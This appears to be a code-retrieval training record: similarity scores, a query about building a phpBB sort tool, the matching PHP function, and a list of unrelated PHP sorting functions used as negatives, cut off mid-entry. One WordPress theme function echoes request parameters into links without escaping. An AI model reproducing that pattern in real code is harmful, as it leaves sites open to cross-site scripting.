[ "0.72896373", "0.7274107", "0.72708136", "0.7197844", "0.7193916", "0.71317375", "0.71176636", "0.6985164", "0.697426", "0.6973674", "0.6971502", "0.69667333", "0.69069684", "0.69039696", "0.6897248", "0.68534535", "0.68456376", "0.68352556", "0.6801406", "0.6801406", "0.6798744", "0.67986196", "0.67657137", "0.6757547", "0.6742899", "0.67371875", "0.673691", "0.6731888", "0.6687861", "0.6671304", "0.66585344", "0.6644059", "0.66429746", "0.66331714", "0.66233814", "0.6622555", "0.6618994", "0.6586784", "0.65827084", "0.65803367", "0.65653807", "0.6560641", "0.65563947", "0.6554654", "0.6548871", "0.6544189", "0.65355456", "0.6527963", "0.65220517", "0.6514534", "0.6490154", "0.6487581", "0.6484535", "0.6482884", "0.6479249", "0.6469328", "0.6462004", "0.6460207", "0.64587474", "0.6457696", "0.64530724", "0.64505625", "0.6450471", "0.6448037", "0.6445193", "0.644461", "0.64416814", "0.64390343", "0.64352983", "0.64291376", "0.6420594", "0.6403763", "0.639332", "0.63892627", "0.6375302", "0.6374054", "0.637024", "0.63680315", "0.63678503", "0.6366859", "0.6354155", "0.63536906", "0.6348609", "0.6345064", "0.63437164", "0.6343476", "0.63424104", "0.63409257", "0.6338285", "0.63310444", "0.63247603", "0.6315613", "0.63060254", "0.63035905", "0.6299431", "0.629839", "0.6295095", "0.62940687", "0.6289981", "0.62892365", "0.62873393" ]
0.0
-1
Setup the sort tool and return it for posts display
public static function build_sort() { // Setup the sort and set the sort keys $sort = phpbb::$container->get('phpbb.titania.sort'); $sort ->set_sort_keys(self::$sort_by) ->set_defaults(phpbb::$config['topics_per_page']) ; return $sort; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract public function prepareSort();", "public function getSorting();", "function init_sort(){\r\n\t\t$out='';\r\n\r\n\t\tif($this->sort===true or $this->sort==''){\r\n\t\t\tfor($i=0; $i<count($this->data[0]); $i++){\r\n\t\t\t\t$out.=($out ? '_' : '').'t';\r\n\t\t\t}\r\n\t\t\t$this->sort=$out;\r\n\t\t}\r\n\t}", "public function sort()\n {\n $sortMethods = $this->sortMethods;\n\n // get post data\n $data = $_POST;\n\n // initialize errors\n $errors = [];\n\n $sortedString = '';\n\n $validationResult = $this->_validate($data);\n if(is_array($validationResult)) {\n $errors = $validationResult;\n } else {\n // no errors do sorting\n $sorting = new \\lib\\SortLib($data['sort_method']);\n $sortedString = $sorting->get_sorted_string($data['sort_string']);\n }\n\n require_once('views/pages/home.php');\n }", "public function onInitSortingComponent()\n {\n return new Sorting();\n }", "public function sortStrategy();", "function GetSort() {\n\t\tglobal $deals_details;\n\n\t\t// Check for a resetsort command\n\t\tif (strlen(@$_GET[\"cmd\"]) > 0) {\n\t\t\t$sCmd = @$_GET[\"cmd\"];\n\t\t\tif ($sCmd == \"resetsort\") {\n\t\t\t\t$deals_details->setOrderBy(\"\");\n\t\t\t\t$deals_details->setStartGroup(1);\n\t\t\t\t$deals_details->deal_number->setSort(\"\");\n\t\t\t\t$deals_details->dealer->setSort(\"\");\n\t\t\t\t$deals_details->date_start->setSort(\"\");\n\t\t\t\t$deals_details->status->setSort(\"\");\n\t\t\t\t$deals_details->salesman->setSort(\"\");\n\t\t\t\t$deals_details->customer->setSort(\"\");\n\t\t\t\t$deals_details->idno->setSort(\"\");\n\t\t\t\t$deals_details->product_name->setSort(\"\");\n\t\t\t\t$deals_details->rep2Etotal_premium_2D_rep2Ecommission->setSort(\"\");\n\t\t\t\t$deals_details->Description->setSort(\"\");\n\t\t\t\t$deals_details->RegistrationNumber->setSort(\"\");\n\t\t\t\t$deals_details->Deposit->setSort(\"\");\n\t\t\t\t$deals_details->PrincipalDebt->setSort(\"\");\n\t\t\t\t$deals_details->FSPFees->setSort(\"\");\n\t\t\t\t$deals_details->ServiceAndDelivery->setSort(\"\");\n\t\t\t\t$deals_details->Vaps->setSort(\"\");\n\t\t\t\t$deals_details->HandlingFees->setSort(\"\");\n\t\t\t}\n\n\t\t// Check for an Order parameter\n\t\t} elseif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$deals_details->CurrentOrder = ewrpt_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$deals_details->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$sSortSql = $deals_details->SortSql();\n\t\t\t$deals_details->setOrderBy($sSortSql);\n\t\t\t$deals_details->setStartGroup(1);\n\t\t}\n\t\treturn $deals_details->getOrderBy();\n\t}", "protected function _getSortType() {}", "protected function _getSortType() {}", "function getSort(){ return 301; }", "public function Sort(){\r\n\t\treturn self::get_sort();\r\n\t}", "function GetSort() {\n\t\tglobal $dealers_reports;\n\n\t\t// Check for a resetsort command\n\t\tif (strlen(@$_GET[\"cmd\"]) > 0) {\n\t\t\t$sCmd = @$_GET[\"cmd\"];\n\t\t\tif ($sCmd == \"resetsort\") {\n\t\t\t\t$dealers_reports->setOrderBy(\"\");\n\t\t\t\t$dealers_reports->setStartGroup(1);\n\t\t\t\t$dealers_reports->Name->setSort(\"\");\n\t\t\t\t$dealers_reports->VatRegistrationNumber->setSort(\"\");\n\t\t\t\t$dealers_reports->Number_of_Deals->setSort(\"\");\n\t\t\t\t$dealers_reports->Commission->setSort(\"\");\n\t\t\t\t$dealers_reports->Premium->setSort(\"\");\n\t\t\t\t$dealers_reports->Total->setSort(\"\");\n\t\t\t}\n\n\t\t// Check for an Order parameter\n\t\t} elseif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$dealers_reports->CurrentOrder = ewrpt_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$dealers_reports->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$sSortSql = $dealers_reports->SortSql();\n\t\t\t$dealers_reports->setOrderBy($sSortSql);\n\t\t\t$dealers_reports->setStartGroup(1);\n\t\t}\n\n\t\t// Set up default sort\n\t\tif ($dealers_reports->getOrderBy() == \"\") {\n\t\t\t$dealers_reports->setOrderBy(\"dealer.Name ASC\");\n\t\t\t$dealers_reports->Name->setSort(\"ASC\");\n\t\t}\n\t\treturn $dealers_reports->getOrderBy();\n\t}", "function getSort(){\n return 155;\n }", "function getSort(){\n return 155;\n }", "function getSort(){\n return 155;\n }", "abstract protected function _getSortType();", "function tmpl_archives_sorting_opt(){\r\n\tglobal $wp_query,$sort_post_type;\r\n\t\r\n\tif(!is_search()){\r\n\t\t$post_type = (get_post_type()!='')? get_post_type() : get_query_var('post_type');\r\n\t\t$sort_post_type = apply_filters('tmpl_tev_sorting_for_'.$post_type,$post_type);\r\n\t\t\r\n\t}else{\r\n\t\t/* on search page what happens if user search with multiple post types */\r\n\t\tif(isset($_REQUEST['post_type'])){\r\n\t\t\tif(is_array($_REQUEST['post_type']) && count($_REQUEST['post_type'])==1){\r\n\t\t\t\t$sort_post_type= $_REQUEST['post_type'][0];\r\n\t\t\t}else{\r\n\t\t\t\t$sort_post_type= $_REQUEST['post_type'];\r\n\t\t\t}\r\n\t\t}\r\n\t\t\tif(!$sort_post_type){\r\n\t\t\t\t$sort_post_type='directory';\r\n\t\t\t}\r\n\t\t\r\n\t}\r\n\t\r\n\t$templatic_settings=get_option('templatic_settings');\r\n\t$googlemap_setting=get_option('city_googlemap_setting');\r\n\t\r\n\t/*custom post type link */\r\n\t$current_posttype = get_post_type();\r\n\t\r\n\tif(empty($current_posttype)){\r\n\t\t$current_posttype = $wp_query->query['post_type'];\r\n\t}\r\n\t\t\r\n\tif(!is_tax() && is_archive() && !is_search())\r\n\t{\r\n\t\t$current_term = $wp_query->get_queried_object();\t\t\r\n\t\t$permalink = get_post_type_archive_link($current_posttype);\r\n\t\t$permalink=str_replace('&'.$sort_post_type.'_sortby=alphabetical&sortby='.$_REQUEST['sortby'],'',$permalink);\r\n\t}elseif(is_search()){\r\n\t\t$search_query_str=str_replace('&'.$sort_post_type.'_sortby=alphabetical&sortby='.@$_REQUEST['sortby'],'',$_SERVER['QUERY_STRING']);\r\n\t\t$permalink= site_url().\"?\".$search_query_str;\r\n\t}else{\r\n\t\t$current_term = $wp_query->get_queried_object();\r\n\t\t$permalink=($current_term->slug) ? get_term_link($current_term->slug, $current_term->taxonomy):'';\r\n\t\tif(isset($_REQUEST['sortby']) && $_REQUEST['sortby']!='')\r\n\t\t\t$permalink=str_replace('&'.$sort_post_type.'_sortby=alphabetical&sortby='.$_REQUEST['sortby'],'',$permalink);\r\n\t\t\r\n\t}\r\n\t\r\n\t$post_type= get_post_type_object( get_post_type());\r\n\t\r\n\t/* get all the request url and con-cat with permalink to get the exact results */\r\n $req_uri = '';\r\n\tforeach($_GET as $key=>$val){\r\n\t\tif($key !='' && !strstr($key,'_sortby')){\r\n\t\t\t$req_uri .= $key.\"=\".$val.\"&\";\r\n\t\t}\r\n\t}\r\n\t\r\n\t/* permalink */\r\n\tif(false===strpos($permalink,'?')){\r\n\t $url_glue = '?'.$req_uri;\r\n\t}else{\r\n\t\t$url_glue = '&amp;'.$req_uri;\t\r\n\t}\r\n\t\r\n\t/* no grid view list view if no results found */\r\n\t\r\n\tif($wp_query->found_posts!=0){\r\n\t?>\r\n\t<div class='directory_manager_tab clearfix'>\r\n\t<div class=\"sort_options\">\r\n\t<?php if(have_posts()!='' && current_theme_supports('tmpl_show_pageviews')): ?>\r\n\t\t<ul class='view_mode viewsbox'>\r\n\t\t\t<?php if(function_exists('tmpl_wp_is_mobile') && tmpl_wp_is_mobile()){ \r\n\t\t\t\tif(isset($templatic_settings['category_googlemap_widget']) && $templatic_settings['category_googlemap_widget']=='yes'){\r\n\t\t\t\t?>\r\n\t\t\t\t<li><a class='switcher last listview <?php if($templatic_settings['default_page_view']==\"listview\"){echo 'active';}?>' id='listview' href='#'><?php _e('LIST VIEW','templatic');?></a></li>\r\n\t\t\t\t<li><a class='map_icon <?php if($templatic_settings['default_page_view']==\"mapview\"){echo 'active';}?>' id='locations_map' href='#'><?php _e('MAP','templatic');?></a></li>\r\n\t\t\t<?php }\t\r\n\t\t\t}else{ ?>\r\n\t\t\t\t<li><a class='switcher first gridview <?php if($templatic_settings['default_page_view']==\"gridview\"){echo 'active';}?>' id='gridview' href='#'><?php _e('GRID VIEW','templatic');?></a></li>\r\n\t\t\t\t<li><a class='switcher last listview <?php if($templatic_settings['default_page_view']==\"listview\"){echo 'active';}?>' id='listview' href='#'><?php _e('LIST VIEW','templatic');?></a></li>\r\n\t\t\t\t<?php if(isset($templatic_settings['category_googlemap_widget']) && $templatic_settings['category_googlemap_widget']=='yes'):?> \r\n\t\t\t\t<li><a class='map_icon <?php if($templatic_settings['default_page_view']==\"mapview\"){echo 'active';}?>' id='locations_map' href='#'><?php _e('MAP','templatic');?></a></li>\r\n\t\t\t\t<?php endif;\r\n\t\t\t}\r\n\t\t\t?>\r\n\t\t</ul>\t\r\n\t<?php endif;\r\n\r\n\tif(isset($_GET[$sort_post_type.'_sortby']) && $_GET[$sort_post_type.'_sortby']=='alphabetical'){\r\n\t\t$_SESSION['alphabetical']='1';\t\r\n\t}else{\r\n\t\tunset($_SESSION['alphabetical']);\r\n\t}\r\n\t\r\n\tif(!empty($templatic_settings['sorting_option'])){\r\n\r\n\t\t/* take \"directory\" as a post type if additional post type is detected */\r\n\t\t$exclude_arr = apply_filters('exclude_sorting_posttypes',array('event','property','classified'));\r\n\t\tif(!in_array(get_post_type(),$exclude_arr)){\r\n\t\t\t$sort_post_type_name = 'tevolution';\r\n\t\t}\t\r\n\t\telse{\t\r\n\t\t\t$sort_post_type_name = get_post_type();\r\n\t\t}\r\n\t\t\r\n\t\t$sel_sort_by = isset($_REQUEST[$sort_post_type_name.'_sortby']) ? $_REQUEST[$sort_post_type_name.'_sortby'] : '';\r\n\t\t$sel_class = 'selected=selected';\r\n\t\t\r\n\t?>\r\n\t\t<div class=\"tev_sorting_option\">\r\n\t\t\t<form action=\"<?php if(function_exists('tmpl_directory_full_url')){ echo tmpl_directory_full_url('directory'); } ?>\" method=\"get\" id=\"<?php echo $sort_post_type.'_sortby_frm'; ?>\" name=\"<?php echo $sort_post_type.'_sortby_frm'; ?>\">\r\n <select name=\"<?php echo $sort_post_type_name.'_sortby'; ?>\" id=\"<?php echo $sort_post_type_name.'_sortby'; ?>\" onchange=\"sort_as_set(this.value)\" class=\"tev_options_sel\">\r\n\t\t\t\t<option <?php if(!$sel_sort_by){ echo $sel_class; } ?>><?php _e('Sort By','templatic'); ?></option>\r\n\t\t\t\t<?php\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_title_alphabetical');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('title_alphabetical',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"alphabetical\" <?php if($sel_sort_by =='alphabetical'){ echo $sel_class; } ?>><?php _e('Alphabetical','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_title_alphabetical');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_title_asc');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('title_asc',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"title_asc\" <?php if($sel_sort_by =='title_asc'){ echo $sel_class; } ?>><?php _e('Title Ascending','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_title_asc');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_title_desc');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('title_desc',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"title_desc\" <?php if($sel_sort_by =='title_desc'){ echo $sel_class; } ?>><?php _e('Title Descending','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_title_desc');\r\n\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_date_asc');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('date_asc',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"date_asc\" <?php if($sel_sort_by =='date_asc'){ echo $sel_class; } ?>><?php _e('Publish Date Ascending','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_date_asc');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_date_desc');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('date_desc',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"date_desc\" <?php if($sel_sort_by =='date_desc'){ echo $sel_class; } ?>><?php _e('Publish Date Descending','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_date_desc');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_reviews');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('reviews',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"reviews\" <?php if($sel_sort_by =='reviews'){ echo $sel_class; } ?>><?php _e('Reviews','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_reviews');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_rating');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('rating',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"rating\" <?php if($sel_sort_by =='rating'){ echo $sel_class; } ?>><?php _e('Rating','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_rating');\r\n\t\t\t\t\t\r\n\t\t\t\t\tdo_action('tmpl_before_sortby_random');\r\n\t\t\t\t\tif(!empty($templatic_settings['sorting_option']) && in_array('random',$templatic_settings['sorting_option'])):?>\r\n\t\t\t\t\t\t<option value=\"random\" <?php if($sel_sort_by =='random'){ echo $sel_class; } ?>><?php _e('Random','templatic');?></option>\r\n\t\t\t\t<?php endif;\r\n\t\t\t\t\tdo_action('tmpl_after_sortby_random');\r\n\t\t\t\t\t?> \r\n\t\t\t </select>\r\n\t\t\t </form>\r\n <?php add_action('wp_footer','sorting_option_of_listing'); ?>\r\n\t\t</div>\r\n <?php\r\n\t}\r\n\r\n\t?>\r\n \t</div><!--END sort_options div -->\r\n </div><!-- END directory_manager_tab Div -->\r\n\t<?php\r\n\t}\r\n\t\r\n\t\r\n\t/* On archive and category pages - alphabets order should display even there is no post type pass in argument */\r\n\t$exclude_arr = array('event','property','classified');\r\n\tif(isset($_REQUEST['alpha_sort_post_type']) && $_REQUEST['alpha_sort_post_type'] != '')\r\n\t\t$sort_post_type = $_REQUEST['alpha_sort_post_type'];\r\n\tif(!in_array($sort_post_type,$exclude_arr))\r\n\t\t$sort_post_type = 'tevolution';\r\n\telse\t\r\n\t\t$sort_post_type = $sort_post_type;\r\n\tif(!$sort_post_type){ $sort_post_type=\"tevolution\"; }\r\n\tif((isset($_REQUEST[$sort_post_type.'_sortby']) && $_REQUEST[$sort_post_type.'_sortby']=='alphabetical') || (isset($_SESSION['alphabetical']) && $_SESSION['alphabetical']==1)):\r\n\t\r\n\t$alphabets = array(__('A','templatic'),__('B','templatic'),__('C','templatic'),__('D','templatic'),__('E','templatic'),__('F','templatic'),__('G','templatic'),__('H','templatic'),__('I','templatic'),__('J','templatic'),__('K','templatic'),__('L','templatic'),__('M','templatic'),__('N','templatic'),__('O','templatic'),__('P','templatic'),__('Q','templatic'),__('R','templatic'),__('S','templatic'),__('T','templatic'),__('U','templatic'),__('V','templatic'),__('W','templatic'),__('X','templatic'),__('Y','templatic'),__('Z','templatic'));\r\n\t/*show all result when we click on all in alphabetical sort order*/\r\n\t$all = str_replace('?sortby='.$_REQUEST['sortby'].'&','/?',$url_glue);\r\n\t?>\r\n <div id=\"directory_sort_order_alphabetical\" class=\"sort_order_alphabetical\">\r\n\t\t<input type=\"hidden\" name=\"alpha_sort\" id=\"alpha_sort\" /> <!-- for listfilter -->\r\n\t <ul>\r\n\t\t\t<li class=\"<?php echo (!isset($_REQUEST['sortby']))?'active':''?>\"><a href=\"<?php echo remove_query_arg('sortby',$permalink.$all.$sort_post_type.'_sortby=alphabetical');?>\"><?php _e('All','templatic');?></a></li>\r\n\t\t\t<?php\r\n\t\t\tforeach($alphabets as &$value){ \r\n\t\t\t\t$key = $value;\r\n\t\t\t\t$val = strtolower($key);\r\n\t\t\t\t?>\r\n\t\t\t\t<li class=\"<?php echo (isset($_REQUEST['sortby']) && $_REQUEST['sortby'] == $val)? 'active':''?>\"><a href=\"<?php echo $permalink.$url_glue .$sort_post_type.'_sortby=alphabetical&sortby='.$val.'&alpha_sort_post_type='.$sort_post_type;?>\"><?php echo $key; ?></a></li>\r\n\t\t\t\t<?php \r\n\t\t\t} ?>\r\n\t </ul>\r\n </div>\r\n <?php endif;\r\n}", "function getSort(){\n return 100;\n }", "function getSort(){\n return 301;\n }", "function getSort() {\n return 999;\n }", "function dp_supported_sort_types() {\n\t$types = array(\n\t\t'date' => array(\n\t\t\t'label' => __('Date', 'dp'),\n\t\t\t'title' => __('Sort by Date', 'dp')\n\t\t),\n\t\t'title' => array(\n\t\t\t'label' => __('Title', 'dp'),\n\t\t\t'title' => __('Sort by Title', 'dp')\n\t\t),\n\t\t'views' => array(\n\t\t\t'label' => __('Views', 'dp'),\n\t\t\t'title' => __('Sort by Views', 'dp')\n\t\t),\n\t\t'likes' => array(\n\t\t\t'label' => __('Likes', 'dp'),\n\t\t\t'title' => __('Sort by Likes', 'dp')\n\t\t),\n\t\t'comments' => array(\n\t\t\t'label' => __('Comments', 'dp'),\n\t\t\t'title' => __('Sort by Comments', 'dp')\n\t\t),\n\t\t'rand' => array(\n\t\t\t'label' => __('Random', 'dp'),\n\t\t\t'title' => __('Sort Randomly', 'dp')\n\t\t)\n\t);\n\t\t\t\t\n\treturn apply_filters('dp_supported_sort_types', $types);\n}", "function qw_default_sort_options( $sort_options ) {\n\n\t$sort_options['author_id'] = array(\n\t\t'title' => 'Author',\n\t\t'description' => 'The content author ID.',\n\t\t'type' => 'author',\n\t);\n\t$sort_options['comment_count'] = array(\n\t\t'title' => 'Comment Count',\n\t\t'description' => 'Total number of comments on a piece of content.',\n\t);\n\t$sort_options['menu_order'] = array(\n\t\t'title' => 'Menu Order (for Page post_types)',\n\t\t'description' => 'Menu Order of a Page.',\n\t);\n\t$sort_options['meta_value'] = array(\n\t\t'title' => 'Meta value',\n\t\t'description' => \"Note that a 'meta_key=keyname' filter must also be present in the query. Good for sorting words, but not numbers.\",\n\t);\n\t$sort_options['meta_value_num'] = array(\n\t\t'title' => 'Meta value number',\n\t\t'description' => \"Order by numeric meta value. Also note that a 'meta_key' filter must be present in the query. This value allows for numerical sorting as noted above in 'meta_value'.\",\n\t);\n\t$sort_options['none'] = array(\n\t\t'title' => 'None',\n\t\t'description' => 'No sort order.',\n\t\t'order_options' => array(\n\t\t\t'none' => 'None',\n\t\t)\n\t);\n\t$sort_options['post__in'] = array(\n\t\t'title' => 'Post__in order',\n\t\t'description' => 'Preserve post ID order given in the post__in array.',\n\t\t'order_options' => FALSE,\n\t);\n\t$sort_options['post_date'] = array(\n\t\t'title' => 'Date',\n\t\t'description' => 'The posted date of content.',\n\t\t'type' => 'date',\n\t);\n\t$sort_options['post_ID'] = array(\n\t\t'title' => 'Post ID',\n\t\t'description' => 'The ID of the content.',\n\t\t'type' => 'ID',\n\t);\n\t$sort_options['post_modified'] = array(\n\t\t'title' => 'Date Modified',\n\t\t'description' => 'Date content was last modified.',\n\t\t'type' => 'modified',\n\t);\n\t$sort_options['post_parent'] = array(\n\t\t'title' => 'Parent',\n\t\t'description' => 'The parent post for content.',\n\t\t'type' => 'parent',\n\t);\n\t$sort_options['post_title'] = array(\n\t\t'title' => 'Title',\n\t\t'description' => 'The title of the content.',\n\t\t'type' => 'title',\n\t);\n\t$sort_options['rand'] = array(\n\t\t'title' => 'Random',\n\t\t'description' => 'Random order.',\n\t);\n\n\treturn $sort_options;\n}", "function getSort(){\n return 999;\n }", "function getSort(){\n return 999;\n }", "function getSort(){\n\treturn 281;\n}", "function getSort(){\n return 188;\n }", "public function sortPapers(){\r\n\t\t// Either manualSort or sortByAuthorName\r\n\t\t$this->sortByAuthorName();\r\n\t}", "public function asort()\n {\n }", "function getSort() {\n return $this->sort;\n }", "public function getSortMenu();", "function renderSkyscraperListSort() {\n\n\t// query string that will be used to retain other GET variables in searches\n\tinput()->whitelist->remove('sort');\n\t$queryString = input()->whitelist->queryString();\n\tif($queryString) $queryString = sanitizer('entities', \"&$queryString\");\n\n\t// get the 'sort' property, if it's present\n\t$sort = input()->get('sort');\n\t$validSorts = getValidSorts();\n\t\n\t// validate the 'sort' pulled from input\n\tif(!$sort || !isset($validSorts[$sort])) $sort = 'name';\n\n\t$options = array();\n\t$selectedLabel = '';\n\n\t// generate options\n\tforeach($validSorts as $key => $label) {\n\t\tif($key === $sort) $selectedLabel = $label;\n\t\t$options[\"./?sort=$key$queryString\"] = $label;\n\t}\n\n\t// render output\n\t$out = files()->render('./includes/skyscraper-list-sort.php', array(\n\t\t'options' => $options, \n\t\t'selectedLabel' => $selectedLabel\n\t));\n\t\n\treturn $out;\n}", "public function setSort($x) { $this->sort = $x; }", "public function getSort()\n {\n return $this->customSort;\n }", "public function getSort()\n {\n return 125;\n }", "public function sort_posts() {\n\t\t?>\n\t\t<style type=\"text/css\">\n\t\t#icon-reorder-posts {\n\t\t\tdisplay: none;\n\t\t\tbackground:url(<?php echo $this->icon; ?>) no-repeat;\n\t\t}\n\t\t</style>\n\t\t<div class=\"wrap\">\n\t\t\t<?php screen_icon( 'reorder-posts' ); ?>\n\t\t\t<h2>\n\t\t\t\t<?php echo $this->heading; ?><br>\n\t\t\t\t<span style=\"font-size:13px\">Trascina per determinare l'ordine manuale di visualizzazione degli elementi.</span>\n\t\t\t\t<img src=\"<?php echo admin_url( 'images/loading.gif' ); ?>\" id=\"loading-animation\" />\n\t\t\t</h2>\n\t\t\t<div id=\"reorder-error\"></div>\n\t\t\t<?php echo $this->initial; ?>\n\t\t\t<div id=\"list\">\n\t\t\t<input class=\"search\" placeholder=\"Search\" />\n\t\t\t<div id=\"message-order\" class=\"updated\" style=\"display:none;\">\n\t <p><h3>ATTENZIONE</h3>Il sistema di <b>ordinamento</b> è disabilitato nella lista filtrata. Rimuovere i criteri di ricerca per riabilitare il sistema.</p>\n\t </div>\n\t\t\t<ul id=\"post-list\" class=\"list\">\n\t\t<?php\n\t\tif ( is_post_type_hierarchical( $this->post_type ) ) {\n\t\t\t$pages = get_pages( array(\n\t\t\t\t'sort_column' => 'menu_order',\n\t\t\t\t'post_type' => $this->post_type,\n\t\t\t ) );\n\t\t\t //Get hiearchy of children/parents\n\t\t\t $top_level_pages = array();\n\t\t\t $children_pages = array();\n\t\t\t foreach( $pages as $page ) {\n\t\t\t\tif ( $page->post_parent == 0 ) {\n\t\t\t\t\t//Parent page\n\t\t\t\t\t$top_level_pages[] = $page;\n\t\t\t\t} else {\n\t\t\t\t\t$children_pages[ $page->post_parent ][] = $page;\n\t\t\t\t}\n\t\t\t } //end foreach\n\n\t\t\t foreach( $top_level_pages as $page ) {\n\t\t\t\t$page_id = $page->ID;\n\t\t\t\tif ( isset( $children_pages[ $page_id ] ) && !empty( $children_pages[ $page_id ] ) ) {\n\t\t\t\t\t//If page has children, output page and its children\n\t\t\t\t\t$this->output_row_hierarchical( $page, $children_pages[ $page_id ], $children_pages );\n\t\t\t\t} else {\n\t\t\t\t\t$this->output_row( $page );\n\t\t\t\t}\n\t\t\t }\n\t\t} else {\n\t\t\t//Output non hierarchical posts\n\t\t\t$post_query = new WP_Query(\n\t\t\t\tarray(\n\t\t\t\t\t'post_type' => $this->post_type,\n\t\t\t\t\t'posts_per_page' => -1,\n\t\t\t\t\t'orderby' => 'menu_order',\n \t\t\t'suppress_filters' => false,\n\t\t\t\t\t'order' => $this->order,\n\t\t\t\t\t'post_status' => $this->post_status,\n\t\t\t\t)\n\t\t\t);\n\t\t\t$posts = $post_query->get_posts();\n\t\t\tif ( !$posts ) return;\n\t\t\tforeach( $posts as $post ) {\n\t\t\t\t$this->output_row( $post );\n\t\t\t} //end foreach\n\t\t}\n\t\t?>\n\t\t</ul>\n\t\t</div>\n\t\t<?php\n\t\techo $this->final;\n\t\t?>\n\t\t</div><!-- .wrap -->\n\t\t<?php\n\t}", "public function getSort()\n {\n return $this->tpSort;\n }", "function SetUpSortOrder() {\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->id); // id\n\t\t\t$this->UpdateSort($this->name); // name\n\t\t\t$this->UpdateSort($this->_email); // email\n\t\t\t$this->UpdateSort($this->companyname); // companyname\n\t\t\t$this->UpdateSort($this->servicetime); // servicetime\n\t\t\t$this->UpdateSort($this->country); // country\n\t\t\t$this->UpdateSort($this->phone); // phone\n\t\t\t$this->UpdateSort($this->skype); // skype\n\t\t\t$this->UpdateSort($this->website); // website\n\t\t\t$this->UpdateSort($this->linkedin); // linkedin\n\t\t\t$this->UpdateSort($this->facebook); // facebook\n\t\t\t$this->UpdateSort($this->twitter); // twitter\n\t\t\t$this->UpdateSort($this->active_code); // active_code\n\t\t\t$this->UpdateSort($this->identification); // identification\n\t\t\t$this->UpdateSort($this->link_expired); // link_expired\n\t\t\t$this->UpdateSort($this->isactive); // isactive\n\t\t\t$this->UpdateSort($this->google); // google\n\t\t\t$this->UpdateSort($this->instagram); // instagram\n\t\t\t$this->UpdateSort($this->account_type); // account_type\n\t\t\t$this->UpdateSort($this->logo); // logo\n\t\t\t$this->UpdateSort($this->profilepic); // profilepic\n\t\t\t$this->UpdateSort($this->mailref); // mailref\n\t\t\t$this->UpdateSort($this->deleted); // deleted\n\t\t\t$this->UpdateSort($this->deletefeedback); // deletefeedback\n\t\t\t$this->UpdateSort($this->account_id); // account_id\n\t\t\t$this->UpdateSort($this->start_date); // start_date\n\t\t\t$this->UpdateSort($this->end_date); // end_date\n\t\t\t$this->UpdateSort($this->year_moth); // year_moth\n\t\t\t$this->UpdateSort($this->registerdate); // registerdate\n\t\t\t$this->UpdateSort($this->login_type); // login_type\n\t\t\t$this->UpdateSort($this->accountstatus); // accountstatus\n\t\t\t$this->UpdateSort($this->ispay); // ispay\n\t\t\t$this->UpdateSort($this->profilelink); // profilelink\n\t\t\t$this->UpdateSort($this->source); // source\n\t\t\t$this->UpdateSort($this->agree); // agree\n\t\t\t$this->UpdateSort($this->balance); // balance\n\t\t\t$this->UpdateSort($this->job_title); // job_title\n\t\t\t$this->UpdateSort($this->projects); // projects\n\t\t\t$this->UpdateSort($this->opportunities); // opportunities\n\t\t\t$this->UpdateSort($this->isconsaltant); // isconsaltant\n\t\t\t$this->UpdateSort($this->isagent); // isagent\n\t\t\t$this->UpdateSort($this->isinvestor); // isinvestor\n\t\t\t$this->UpdateSort($this->isbusinessman); // isbusinessman\n\t\t\t$this->UpdateSort($this->isprovider); // isprovider\n\t\t\t$this->UpdateSort($this->isproductowner); // isproductowner\n\t\t\t$this->UpdateSort($this->states); // states\n\t\t\t$this->UpdateSort($this->cities); // cities\n\t\t\t$this->UpdateSort($this->offers); // offers\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "public function asort() {}", "public function 